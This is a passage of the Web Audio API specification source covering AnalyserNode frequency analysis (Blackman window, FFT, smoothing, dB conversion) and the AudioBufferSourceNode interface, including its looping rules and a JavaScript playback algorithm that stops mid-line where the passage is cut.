href=\"https://github.com/WebAudio/web-audio-api/issues/2361\">Issue 2361</a>-9.\n\t\t  </span>\n\t\t  Use new Web IDL buffer primitives\n\t\t  <div class=\"amendment-buttons\">\n\t\t    Buttons here\n\t\t  </div>\n\t\t<del>Get a\n\t\t<a href=\"https://heycam.github.io/webidl/#dfn-get-buffer-source-reference\">\n\t\treference to the bytes</a> held by the\n\t\t{{Float32Array}} passed as an argument.  Copies the\n\t\t<a>current time-domain data</a> (waveform data) into those bytes. If the\n\t\tarray has fewer elements than the value of {{AnalyserNode/fftSize}}, the\n\t\texcess elements will be dropped. If the array has more elements than\n\t\t{{AnalyserNode/fftSize}},</del><ins>[=ArrayBufferView/Write=] the [=current time-domain data=] (waveform data)\n\t\tinto |array|. If |array| has fewer elements than the value of\n\t\t{{AnalyserNode/fftSize}}, the excess elements will be dropped. If |array|\n\t\thas more elements than the value of {{AnalyserNode/fftSize}},</ins> the excess\n\t\telements will be ignored. The most recent {{AnalyserNode/fftSize}} frames\n\t\tare written (after downmixing).\n\t\t</div>\n\n\t\t<pre class=argumentdef for=\"AnalyserNode/getFloatTimeDomainData()\">\n\t\t\tarray: This parameter is where the time-domain sample data will be copied.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n</dl>\n\n<h4 dictionary lt=\"analyseroptions\" id=\"AnalyserOptions\">\n{{AnalyserOptions}}</h4>\n\nThis specifies the options to be used when constructing an\n{{AnalyserNode}}. All members are optional; if not\nspecified, the normal default values are used to construct the\nnode.\n\n<pre class=\"idl\">\ndictionary AnalyserOptions : AudioNodeOptions {\n\tunsigned long fftSize = 2048;\n\tdouble maxDecibels = -30;\n\tdouble minDecibels = -100;\n\tdouble smoothingTimeConstant = 0.8;\n};\n</pre>\n\n<h5 id=\"dictionary-analyseroptions-members\">\nDictionary {{AnalyserOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"AnalyserOptions\">\n\t: <dfn>fftSize</dfn>\n\t:: The desired initial size of the FFT for frequency-domain analysis.\n\n\t: <dfn>maxDecibels</dfn>\n\t:: The desired initial maximum power in dB for FFT analysis.\n\n\t: <dfn>minDecibels</dfn>\n\t:: The desired initial minimum power in dB for FFT analysis.\n\n\t: <dfn>smoothingTimeConstant</dfn>\n\t:: The desired initial smoothing constant for the FFT analysis.\n</dl>\n\n<h4 id=\"time-domain-down-mixing\">\nTime-Domain Down-Mixing</h4>\n\n\tWhen the <dfn>current time-domain data</dfn> are computed, the\n\tinput signal must be <a href=\"#channel-up-mixing-and-down-mixing\">down-mixed</a> to mono as if\n\t{{AudioNode/channelCount}} is 1,\n\t{{AudioNode/channelCountMode}} is\n\t\"{{ChannelCountMode/max}}\" and {{AudioNode/channelInterpretation}} is \"{{ChannelInterpretation/speakers}}\". This is independent of the\n\tsettings for the {{AnalyserNode}} itself. The most recent\n\t{{AnalyserNode/fftSize}} frames are used for the\n\tdown-mixing operation.\n\n<h4 id=\"fft-windowing-and-smoothing-over-time\">\nFFT Windowing and Smoothing over Time</h4>\n\nWhen the <dfn id=\"current-frequency-data\">current frequency\ndata</dfn> are computed, the following operations are to be\nperformed:\n\n<div algorithm=\"compute-frequency-data\">\n\t1. Compute the <a>current time-domain data</a>.\n\n\t2. <a href=\"#blackman-window\">Apply a Blackman window</a> to the time domain input data.\n\n\t3. <a href=\"#fourier-transform\">Apply a Fourier transform</a> to the\n\t\twindowed time domain input data to get real and imaginary\n\t\tfrequency data.\n\n\t4. <a href=\"#smoothing-over-time\">Smooth over time</a> the frequency domain data.\n\n\t5. <a href=\"#conversion-to-db\">Convert to dB</a>.\n</div>\n\nIn the following, let \\(N\\) be the value of the\n{{AnalyserNode/fftSize}} attribute of this {{AnalyserNode}}.\n\n<div algorithm=\"apply blackman window\">\n\t<dfn id=\"blackman-window\">Applying a Blackman window</dfn> consists\n\tin the following operation on the input time domain data. Let\n\t\\(x[n]\\) for \\(n = 0, \\ldots, N - 1\\) be the time domain data. The\n\tBlackman window is defined by\n\n\t<pre nohighlight>\n\t$$\n\t\\begin{align*}\n\t\t\\alpha &amp;= \\mbox{0.16} \\\\ a_0 &amp;= \\frac{1-\\alpha}{2} \\\\\n\t\ta_1 &amp;= \\frac{1}{2} \\\\\n\t\ta_2 &amp;= \\frac{\\alpha}{2} \\\\\n\t\tw[n] &amp;= a_0 - a_1 \\cos\\frac{2\\pi n}{N} + a_2 \\cos\\frac{4\\pi n}{N}, \\mbox{ for } n = 0, \\ldots, N - 1\n\t\\end{align*}\n\t$$\n\t</pre>\n\n\tThe windowed signal \\(\\hat{x}[n]\\) is\n\n\t<pre nohighlight>\n\t$$\n\t\t\\hat{x}[n] = x[n] w[n], \\mbox{ for } n = 0, \\ldots, N - 1\n\t$$\n\t</pre>\n</div>\n\n<div algorithm=\"apply fourier transform\">\n\t<dfn id=\"fourier-transform\">Applying a Fourier transform</dfn>\n\tconsists of computing the Fourier transform in the following way.\n\tLet \\(X[k]\\) be the complex frequency domain data and\n\t\\(\\hat{x}[n]\\) be the windowed time domain data computed above.\n\tThen\n\n\t<pre nohighlight>\n\t$$\n\t\tX[k] = \\frac{1}{N} \\sum_{n = 0}^{N - 1} \\hat{x}[n]\\, W^{-kn}_{N}\n\t$$\n\t</pre>\n\n\tfor \\(k = 0, \\dots, N/2-1\\) where \\(W_N = e^{2\\pi i/N}\\).\n</div>\n\n<div algorithm=\"smoothing over time\">\n\t<dfn id=\"smoothing-over-time\">Smoothing over time</dfn> frequency\n\tdata consists in the following operation:\n\n\t* Let \\(\\hat{X}_{-1}[k]\\) be the result of this operation on the\n\t\t<a>previous block</a>. The <dfn>previous block</dfn> is defined as\n\t\tbeing the buffer computed by the previous <a href=\"#smoothing-over-time\">smoothing over time</a> operation, or an\n\t\tarray of \\(N\\) zeros if this is the first time we are <a href=\"#smoothing-over-time\">smoothing over time</a>.\n\n\t* Let \\(\\tau\\) be the value of the {{AnalyserNode/smoothingTimeConstant}} attribute for\n\t\tthis {{AnalyserNode}}.\n\n\t* Let \\(X[k]\\) be the result of <a href=\"#fourier-transform\">applying a Fourier transform</a> of the current block.\n\n\tThen the smoothed value, \\(\\hat{X}[k]\\), is computed by\n\n\t<pre nohighlight>\n\t$$\n\t\t\\hat{X}[k] = \\tau\\, \\hat{X}_{-1}[k] + (1 - \\tau)\\, \\left|X[k]\\right|\n\t$$\n\t</pre>\n\n\tfor \\(k = 0, \\ldots, N - 1\\).\n</div>\n\n<div algorithm=\"conversion to db\">\n\t<dfn id=\"conversion-to-db\">Conversion to dB</dfn> consists of the\n\tfollowing operation, where \\(\\hat{X}[k]\\) is computed in <a>smoothing over time</a>:\n\n\t<pre nohighlight>\n\t$$\n\t\tY[k] = 20\\log_{10}\\hat{X}[k]\n\t$$\n\t</pre>\n\n\tfor \\(k = 0, \\ldots, N-1\\).\n\n\tThis array, \\(Y[k]\\), is copied to the output array for\n\t{{AnalyserNode/getFloatFrequencyData()}}. For\n\t{{AnalyserNode/getByteFrequencyData()}}, the \\(Y[k]\\) is clipped to lie\n\tbetween {{AnalyserNode/minDecibels}} and\n\t<code>{{AnalyserNode/maxDecibels}}</code> and then scaled to fit in an\n\tunsigned byte such that {{AnalyserNode/minDecibels}} is\n\trepresented by the value 0 and <code>{{AnalyserNode/maxDecibels}}</code> is\n\trepresented by the value 255.\n</div>\n\n\n<!--\n   ███    ████████   ██████   ███████  ██     ██ ████████   ██████  ████████ ██    ██  ███████  ████████  ████████\n  ██ ██   ██     ██ ██    ██ ██     ██ ██     ██ ██     ██ ██    ██ ██       ███   ██ ██     ██ ██     ██ ██\n ██   ██  ██     ██ ██       ██     ██ ██     ██ ██     ██ ██       ██       ████  ██ ██     ██ ██     ██ ██\n██     ██ ████████   ██████  ██     ██ ██     ██ ████████  ██       ██████   ██ ██ ██ ██     ██ ██     ██ ██████\n█████████ ██     ██       ██ ██     ██ ██     ██ ██   ██   ██       ██       ██  ████ ██     ██ ██     ██ ██\n██     ██ ██     ██ ██    ██ ██     ██ ██     ██ ██    ██  ██    ██ ██       ██   ███ ██     ██ ██     ██ ██\n██     ██ ████████   ██████   ███████   ███████  ██     ██  ██████  ████████ ██    ██  ███████  ████████  ████████\n-->\n\n<h3 interface lt=\"audiobuffersourcenode\" id=\"AudioBufferSourceNode\">\nThe {{AudioBufferSourceNode}} Interface</h3>\n\nThis interface represents an audio source from an in-memory audio\nasset in an {{AudioBuffer}}. It is useful for playing audio\nassets which require a high degree of scheduling flexibility and\naccuracy. If sample-accurate playback of network- or disk-backed\nassets is required, an implementer should use\n{{AudioWorkletNode}} to implement playback.\n\nThe {{AudioScheduledSourceNode/start()}} method is used to\nschedule when sound playback will happen. The {{AudioScheduledSourceNode/start()}} method may not be\nissued multiple times. The playback will stop automatically when the\nbuffer's audio data has been completely played (if the\n{{AudioBufferSourceNode/loop}}\nattribute is <code>false</code>), or when the {{AudioScheduledSourceNode/stop()}} method has been\ncalled and the specified time has been reached. Please see more\ndetails in the {{AudioScheduledSourceNode/start()}} and\n{{AudioScheduledSourceNode/stop()}}\ndescriptions.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 0\n\tnoo: 1\n\tcc: 2\n\tcc-mode: max\n\tcc-interp: speakers\n\ttail-time: No\n</pre>\n\nThe number of channels of the output equals the number of channels of the\nAudioBuffer assigned to the {{AudioBufferSourceNode/buffer}} attribute,\nor is one channel of silence if {{AudioBufferSourceNode/buffer}} is\n<code>null</code>.\n\nIn addition, if the buffer has more than one channel,\nthen the {{AudioBufferSourceNode}} output must change to a single channel\nof silence at the beginning of a render quantum after the time at which any one\nof the following conditions holds:\n\t* the end of the {{AudioBufferSourceNode/buffer}} has been reached;\n\t* the {{AudioBufferSourceNode/start(when, offset, duration)/duration}} has been reached;\n\t* the {{AudioScheduledSourceNode/stop(when)/when|stop}} time has been reached.\n\nA <dfn>playhead position</dfn> for an {{AudioBufferSourceNode}} is\ndefined as any quantity representing a time offset in seconds,\nrelative to the time coordinate of the first sample frame in the\nbuffer. Such values are to be considered independently from the\nnode's <code>playbackRate</code> and {{AudioBufferSourceNode/detune}} parameters.\nIn general, playhead positions may be subsample-accurate and need not\nrefer to exact sample frame positions. They may assume valid values\nbetween 0 and the duration of the buffer.\n\nThe {{AudioBufferSourceNode/playbackRate}} and\n{{AudioBufferSourceNode/detune}} attributes form a\n<a>compound parameter</a>. They are used together to determine a\n<dfn>computedPlaybackRate</dfn> value:\n\n<pre highlight>\ncomputedPlaybackRate(t) = playbackRate(t) * pow(2, detune(t) / 1200)\n</pre>\n\nThe <a>nominal range</a> for this <a>compound parameter</a> is\n\\((-\\infty, \\infty)\\).\n\n{{AudioBufferSourceNode}}s are created with an internal boolean\nslot <dfn attribute for=\"AudioBufferSourceNode\">[[buffer set]]</dfn>, initially set to false.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface AudioBufferSourceNode : AudioScheduledSourceNode {\n\tconstructor (BaseAudioContext context,\n\t             optional AudioBufferSourceOptions options = {});\n\tattribute AudioBuffer? buffer;\n\treadonly attribute AudioParam playbackRate;\n\treadonly attribute AudioParam detune;\n\tattribute boolean loop;\n\tattribute double loopStart;\n\tattribute double loopEnd;\n\tundefined start (optional double when = 0,\n\t                 optional double offset,\n\t                 optional double duration);\n};\n</pre>\n\n<h4 id=\"AudioBufferSourceNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=method dfn-for=\"AudioBufferSourceNode/constructor\">\n\t: <dfn>AudioBufferSourceNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\t<pre class=argumentdef for=\"AudioBufferSourceNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{AudioBufferSourceNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{AudioBufferSourceNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"AudioBufferSourceNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"AudioBufferSourceNode\">\n\t: <dfn>buffer</dfn>\n\t::\n\t\tRepresents the audio asset to be played.\n\n\t\t<div algorithm=\"set the buffer attribute\">\n\t\t\tTo set the {{AudioBufferSourceNode/buffer}} attribute, execute these steps:\n\n\t\t\t1. Let <var>new buffer</var> be the {{AudioBuffer}} or\n\t\t\t\t<code>null</code> value to be assigned to {{AudioBufferSourceNode/buffer}}.\n\n\t\t\t2. If <var>new buffer</var> is not <code>null</code> and\n\t\t\t\t{{AudioBufferSourceNode/[[buffer set]]}} is true, throw an\n\t\t\t\t{{InvalidStateError}} and abort these steps.\n\n\t\t\t3. If <var>new buffer</var> is not <code>null</code>, set\n\t\t\t\t{{AudioBufferSourceNode/[[buffer set]]}} to true.\n\n\t\t\t4. Assign <var>new buffer</var> to the {{AudioBufferSourceNode/buffer}}\n\t\t\t\tattribute.\n\n\t\t\t5. If <code>start()</code> has previously been called on this\n\t\t\t\tnode, perform the operation <a href=\"#acquire-the-content\">acquire the content</a> on\n\t\t\t\t{{AudioBufferSourceNode/buffer}}.\n\t\t</div>\n\n\t: <dfn>detune</dfn>\n\t::\n\t\tAn additional parameter, in cents, to modulate the speed at\n\t\twhich is rendered the audio stream. This parameter is a\n\t\t<a>compound parameter</a> with {{AudioBufferSourceNode/playbackRate}} to form a\n\t\t<a>computedPlaybackRate</a>.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/k-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n\n\t: <dfn>loop</dfn>\n\t::\n\t\tIndicates if the region of audio data designated by\n\t\t{{AudioBufferSourceNode/loopStart}} and {{AudioBufferSourceNode/loopEnd}} should be played continuously\n\t\tin a loop. The default value is <code>false</code>.\n\n\t: <dfn>loopEnd</dfn>\n\t::\n\t\tAn optional <a>playhead position</a> where looping should end if\n\t\tthe {{AudioBufferSourceNode/loop}} attribute is true. Its value is exclusive of the\n\t\tcontent of the loop. Its default <code>value</code> is 0, and it\n\t\tmay usefully be set to any value between 0 and the duration of\n\t\tthe buffer. If {{AudioBufferSourceNode/loopEnd}} is less than or equal to 0, or if\n\t\t{{AudioBufferSourceNode/loopEnd}} is greater than the duration of the buffer,\n\t\tlooping will end at the end of the buffer.\n\n\t: <dfn>loopStart</dfn>\n\t::\n\t\tAn optional <a>playhead position</a> where looping should begin\n\t\tif the {{AudioBufferSourceNode/loop}} attribute is true. Its default\n\t\t<code>value</code> is 0, and it may usefully be set to any value\n\t\tbetween 0 and the duration of the buffer. If {{AudioBufferSourceNode/loopStart}} is\n\t\tless than 0, looping will begin at 0. If {{AudioBufferSourceNode/loopStart}} is\n\t\tgreater than the duration of the buffer, looping will begin at\n\t\tthe end of the buffer.\n\n\t: <dfn>playbackRate</dfn>\n\t::\n\t\tThe speed at which to render the audio stream. This is a\n\t\t<a>compound parameter</a> with {{AudioBufferSourceNode/detune}} to form a\n\t\t<a>computedPlaybackRate</a>.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 1\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/k-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n</dl>\n\n<h4 id=\"AudioBufferSourceNode-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"AudioBufferSourceNode\">\n\t: <dfn>start(when, offset, duration)</dfn>\n\t::\n\t\tSchedules a sound to playback at an exact time.\n\n\t\t<div algorithm=\"AudioBufferSourceNode.start()\">\n\t\t\t<span class=\"synchronous\">When this method is called, execute these steps:</span>\n\n\t\t\t1. <span class=\"synchronous\">If this {{AudioBufferSourceNode}} internal\n\t\t\t\tslot {{AudioScheduledSourceNode/[[source started]]}} is `true`, an\n\t\t\t\t{{InvalidStateError}} exception MUST be thrown.</span>\n\n\t\t\t1. Check for any errors that must be thrown due to parameter\n\t\t\t\tconstraints described below.  If any\n\t\t\t\texception is thrown during this step,\n\t\t\t\tabort those steps.\n\n\t\t\t1. Set the internal slot {{AudioScheduledSourceNode/[[source started]]}} on\n\t\t\t\tthis {{AudioBufferSourceNode}} to <code>true</code>.\n\n\t\t\t1. <a>Queue a control message</a> to start the\n\t\t\t\t{{AudioBufferSourceNode}}, including the parameter values\n\t\t\t\tin the message.\n\n\t\t\t1. <a>Acquire the contents</a> of the\n\t\t\t\t{{AudioBufferSourceNode/buffer}} if the\n\t\t\t\t{{AudioBufferSourceNode/buffer}} has been set.\n\t\t\t1. Send a <a>control message</a> to the associated {{AudioContext}} to\n\t\t\t\t<a href=\"#context-resume\">start running its rendering thread</a> only when\n\t\t\t\tall the following conditions are met:\n\t\t\t\t1. The context's {{[[control thread state]]}} is\n\t\t\t\t\t{{AudioContextState/suspended}}.\n\t\t\t\t1. The context is <a>allowed to start</a>.\n\t\t\t\t1. {{[[suspended by user]]}} flag is <code>false</code>.\n\n\t\t\t\tNOTE: This allows\n\t\t\t\t{{AudioBufferSourceNode/start()}} to start an\n\t\t\t\t{{AudioContext}} that would otherwise not be\n\t\t\t\t<a>allowed to start</a>.\n\n\t\t</div>\n\n\t\t<div algorithm=\"run a control message to start the AudioBufferSourceNode\">\n\t\t\tRunning a <a>control message</a> to start the {{AudioBufferSourceNode}}\n\t\t\tmeans invoking the <code>handleStart()</code> function in the\n\t\t\t[[#playback-AudioBufferSourceNode|playback algorithm]] which follows.\n\t\t</div>\n\n\t\t<pre class=argumentdef for=\"AudioBufferSourceNode/start(when, offset, duration)\">\n\t\t\twhen: The <code>when</code> parameter describes at what time (in seconds) the sound should start playing. It is in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute. If 0 is passed in for this value or if the value is less than <b>currentTime</b>, then the sound will start playing immediately. <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>when</code> is negative.</span>\n\t\t\toffset: The <code>offset</code> parameter supplies a <a>playhead position</a> where playback will begin. If 0 is passed in for this value, then playback will start from the beginning of the buffer. <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>offset</code> is negative.</span> If <code>offset</code> is greater than {{AudioBufferSourceNode/loopEnd}}, {{AudioBufferSourceNode/playbackRate}} is positive or zero, and {{AudioBufferSourceNode/loop}} is <code>true</code>, playback will begin at {{AudioBufferSourceNode/loopEnd}}.  If <code>offset</code> is greater than {{AudioBufferSourceNode/loopStart}}, {{AudioBufferSourceNode/playbackRate}} is negative, and {{AudioBufferSourceNode/loop}} is <code>true</code>, playback will begin at {{AudioBufferSourceNode/loopStart}}. <code>offset</code> is silently clamped to [0, <code>duration</code>], when <code>startTime</code> is reached, where <code>duration</code> is the value of the <code>duration</code> attribute of the {{AudioBuffer}} set to the {{AudioBufferSourceNode/buffer}} attribute of this <code>AudioBufferSourceNode</code>.\n\t\t\tduration: The {{AudioBufferSourceNode/start(when, offset, duration)/duration}} parameter describes the duration of sound to be played, expressed as seconds of total buffer content to be output, including any whole or partial loop iterations. The units of {{AudioBufferSourceNode/start(when, offset, duration)/duration}} are independent of the effects of {{AudioBufferSourceNode/playbackRate}}. For example, a {{AudioBufferSourceNode/start(when, offset, duration)/duration}} of 5 seconds with a playback rate of 0.5 will output 5 seconds of buffer content at half speed, producing 10 seconds of audible output. <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if <code>duration</code> is negative.</span>\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n</dl>\n\n<h4 dictionary lt=\"audiobuffersourceoptions\" id=\"AudioBufferSourceOptions\">\n{{AudioBufferSourceOptions}}</h4>\n\nThis specifies options for constructing a\n{{AudioBufferSourceNode}}. All members are\noptional; if not specified, the normal default is used in\nconstructing the node.\n\n<pre class=\"idl\">\ndictionary AudioBufferSourceOptions {\n\tAudioBuffer? buffer;\n\tfloat detune = 0;\n\tboolean loop = false;\n\tdouble loopEnd = 0;\n\tdouble loopStart = 0;\n\tfloat playbackRate = 1;\n};\n</pre>\n\n<h5 id=\"dictionary-audiobuffersourceoptions-members\">\nDictionary {{AudioBufferSourceOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"AudioBufferSourceOptions\">\n\t: <dfn>buffer</dfn>\n\t::\n\t\tThe audio asset to be played. This is equivalent to assigning\n\t\t{{AudioBufferSourceOptions/buffer}} to the {{AudioBufferSourceNode/buffer}} attribute of\n\t\tthe {{AudioBufferSourceNode}}.\n\n\t: <dfn>detune</dfn>\n\t::\n\t\tThe initial value for the {{AudioBufferSourceNode/detune}} AudioParam.\n\n\t: <dfn>loop</dfn>\n\t::\n\t\tThe initial value for the {{AudioBufferSourceNode/loop}} attribute.\n\n\t: <dfn>loopEnd</dfn>\n\t::\n\t\tThe initial value for the {{AudioBufferSourceNode/loopEnd}} attribute.\n\n\t: <dfn>loopStart</dfn>\n\t::\n\t\tThe initial value for the {{AudioBufferSourceNode/loopStart}} attribute.\n\n\t: <dfn>playbackRate</dfn>\n\t::\n\t\tThe initial value for the {{AudioBufferSourceNode/playbackRate}} AudioParam.\n</dl>\n\n<h4 id=\"looping-AudioBufferSourceNode\">\nLooping</h4>\n\n<em>This section is non-normative. Please see <a href=\"#playback-AudioBufferSourceNode\">the playback algorithm</a> for\nnormative requirements.</em>\n\nSetting the {{AudioBufferSourceNode/loop}}\nattribute to true causes playback of the region of the buffer\ndefined by the endpoints {{AudioBufferSourceNode/loopStart}} and {{AudioBufferSourceNode/loopEnd}} to continue indefinitely, once\nany part of the looped region has been played. While\n{{AudioBufferSourceNode/loop}} remains true,\nlooped playback will continue until one of the following occurs:\n\n* {{AudioScheduledSourceNode/stop()}} is called,\n\n* the scheduled stop time has been reached,\n\n* the <code>duration</code> has been exceeded, if\n\t{{AudioBufferSourceNode/start()}}\n\twas called with a <code>duration</code> value.\n\nThe body of the loop is considered to occupy a region from\n{{AudioBufferSourceNode/loopStart}} up to, but\nnot including, {{AudioBufferSourceNode/loopEnd}}. The direction of playback of\nthe looped region respects the sign of the node's playback rate.\nFor positive playback rates, looping occurs from {{AudioBufferSourceNode/loopStart}} to {{AudioBufferSourceNode/loopEnd}}; for negative rates, looping\noccurs from {{AudioBufferSourceNode/loopEnd}} to\n{{AudioBufferSourceNode/loopStart}}.\n\nLooping does not affect the interpretation of the\n<code>offset</code> argument of {{AudioBufferSourceNode/start()}}. Playback always\nstarts at the requested offset, and looping only begins once the\nbody of the loop is encountered during playback.\n\nThe effective loop start and end points are required to lie within\nthe range of zero and the buffer duration, as specified in the\nalgorithm below. {{AudioBufferSourceNode/loopEnd}} is further constrained to be at\nor after {{AudioBufferSourceNode/loopStart}}. If\nany of these constraints are violated, the loop is considered to\ninclude the entire buffer contents.\n\nLoop endpoints have subsample accuracy. When endpoints do not fall\non exact sample frame offsets, or when the playback rate is not\nequal to 1, playback of the loop is interpolated to splice the\nbeginning and end of the loop together just as if the looped audio\noccurred in sequential, non-looped regions of the buffer.\n\nLoop-related properties may be varied during playback of the\nbuffer, and in general take effect on the next rendering quantum.\nThe exact results are defined by the normative playback algorithm\nwhich follows.\n\nThe default values of the {{AudioBufferSourceNode/loopStart}} and {{AudioBufferSourceNode/loopEnd}} attributes are both 0. Since a\n{{AudioBufferSourceNode/loopEnd}} value of zero\nis equivalent to the length of the buffer, the default endpoints\ncause the entire buffer to be included in the loop.\n\nNote that the values of the loop endpoints are expressed as time\noffsets in terms of the sample rate of the buffer, meaning that\nthese values are independent of the node's {{AudioBufferSourceNode/playbackRate}} parameter which can vary\ndynamically during the course of playback.\n\n<h4 id=\"playback-AudioBufferSourceNode\">\nPlayback of AudioBuffer Contents</h4>\n\nThis normative section specifies the playback of the contents of\nthe buffer, accounting for the fact that playback is influenced by\nthe following factors working in combination:\n\n* A starting offset, which can be expressed with sub-sample precision.\n\n* Loop points, which can be expressed with sub-sample precision and can\n\t vary dynamically during playback.\n\n* Playback rate and detuning parameters, which combine to yield a\n\tsingle <a>computedPlaybackRate</a> that can assume finite values\n\twhich may be positive or negative.\n\nThe algorithm to be followed internally to generate output from an\n{{AudioBufferSourceNode}} conforms to the following principles:\n\n* Resampling of the buffer may be performed arbitrarily by the UA\n\tat any desired point to increase the efficiency or quality of the\n\toutput.\n\n* Sub-sample start offsets or loop points may require additional\n\tinterpolation between sample frames.\n\n* The playback of a looped buffer should behave identically to an\n\tunlooped buffer containing consecutive occurrences of the looped\n\taudio content, excluding any effects from interpolation.\n\nThe description of the algorithm is as follows:\n\n<xmp highlight=\"js\" line-numbers>\nlet buffer; // AudioBuffer employed by this node\nlet context; // AudioContext employed by this node\n\n// The following variables capture attribute and AudioParam values for the node.\n// They are updated on a k-rate basis, prior to each invocation of process().\nlet loop;\nlet detune;\nlet loopStart;\nlet loopEnd;\nlet playbackRate;\n\n// Variables for the node's playback parameters\nlet start = 0, offset = 0, duration = Infinity; // Set by start()\nlet stop = Infinity; // Set by stop()\n\n\n// Variables for tracking node's playback state\nlet bufferTime = 0, started = false, enteredLoop = false;\nlet bufferTimeElapsed = 0;\nlet dt = 1 / context.sampleRate;\n\n// Handle invocation of start method call\nfunction handleStart(when, pos, dur) {\n\tif (arguments.length >= 1) {\n\t\tstart = when;\n\t}\n\toffset = pos;\n\tif (arguments.length >= 3) {\n\t\tduration = dur;\n\t}\n}\n\n// Handle invocation of stop method call\nfunction handleStop(when) {\n\tif (arguments.length >= 1) {\n\t\tstop = when;\n\t} else {\n\t\tstop = context.currentTime;\n\t}\n}\n\n// Interpolate a multi-channel signal value for some sample frame.\n// Returns an array of signal values.\nfunction playbackSignal(position) {\n\t/*\n\t\tThis function provides the playback signal function for buffer, which is a\n\t\tfunction that maps from a playhead position to a set of output signal\n\t\tvalues, one for each output channel. If |position| corresponds to the\n\t\tlocation of an exact sample frame in the buffer, this function returns\n\t\tthat frame. Otherwise, its return value is determined by a UA-supplied\n\t\talgorithm that interpolates sample frames in the neighborhood of\n\t\t|position|.\n\n\t\tIf |position| is greater than or equal to |loopEnd| and there is no subsequent\n\t\tsample frame in buffer, then interpolation should be based on the sequence\n\t\tof subsequent frames beginning at |loopStart|.\n\t */\n\t ...\n}\n\n// Generate a single render quantum of audio to be placed\n// in the channel arrays defined by output. Returns an array\n// of |numberOfFrames| sample frames to be output.\nfunction process(numberOfFrames) {\n\tlet currentTime = context.currentTime; // context time of next rendered frame\n\tconst output = []; // accumulates rendered sample frames\n\n\t// Combine the two k-rate parameters affecting playback rate\n\tconst computedPlaybackRate = playbackRate * Math.pow(2, detune / 1200);\n\n\t// Determine loop endpoints as applicable\n\tlet actualLoopStart, actualLoopEnd;\n\tif (loop && buffer != null) {\n\t\tif (loopStart >= 0 && loopEnd > 0 && loopStart < loopEnd) {\n\t\t\tactualLoopStart = loopStart;\n\t\t\tactualLoopEnd = Math.min(loopEnd, buffer.duration);\n\t\t} else {\n\t\t\tactualLoopStart = 0;\n\t\t\tactualLoopEnd = buffer.duration;\n\t\t}\n\t} else {\n\t\t// If the loop flag is false, remove any record of the loop having been entered\n\t\tenteredLoop = false;\n\t}\n\n\t// Handle null buffer case\n\tif (buffer == null) {\n\t\tstop = currentTime; // force zero output for all time\n\t}\n\n\t// Render each sample frame in the quantum\n\tfor (let index = 0; index < numberOfFrames; index++) {\n\t\t// Check that currentTime and bufferTimeElapsed are\n\t\t// within allowable range for playback\n\t\tif (currentTime < start || currentTime >= stop || bufferTimeElapsed >= duration) {\n\t\t\toutput.push(0); // this sample frame is silent\n\t\t\tcurrentTime += dt;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (!started) {\n\t\t\t// Take note that buffer has started playing and get initial\n\t\t\t// playhead position.\n\t\t\tif (loop && computedPlaybackRate >= 0 && offset >= actualLoopEnd) {\n\t\t\t\toffset = actualLoopEnd;\n\t\t\t}\n\t\t\tif (computedPlaybackRate < 0 && loop && offset < actualLoopStart) {\n\t\t\t\toffset = actualLoopStart;\n\t\t\t}\n\t\t\tbufferTime = offset;\n\t\t\tstarted = true;\n\t\t}\n\n\t\t// Handle loop-related calculations\n\t\tif (loop) {\n\t\t\t// Determine if looped portion has been entered for the first time\n\t\t\tif (!enteredLoop) {\n\t\t\t\tif (offset < actualLoopEnd && bufferTime >= actualLoopStart) {\n\t\t\t\t\t// playback began before or within loop, and playhead is\n\t\t\t\t\t// now past loop start\n\t\t\t\t\tenteredLoop = true;\n\t\t\t\t}\n\t\t\t\tif (offset >= actualLoopEnd && bufferTime < actualLoopEnd) {\n\t\t\t\t\t// playback began after loop, and playhead is now prior\n\t\t\t\t\t// to the loop end\n\t\t\t\t\tenteredLoop = true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Wrap loop iterations as needed. Note that enteredLoop\n\t\t\t// may become true inside the preceding conditional.\n\t\t\tif (enteredLoop) {\n\t\t\t\twhile (bufferTime >= actualLoopEnd) {\n\t\t\t\t\tbufferTime -= actualLoopEnd - actualLoopStart;\n\t\t\t\t}\n\t\t\t\twhile (bufferTime < actualLoopStart) {\n\t\t\t\t\tbufferTime += actualLoopEnd - actualLoopStart;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (bufferTime >= 0 && bufferTime < buffer.duration) 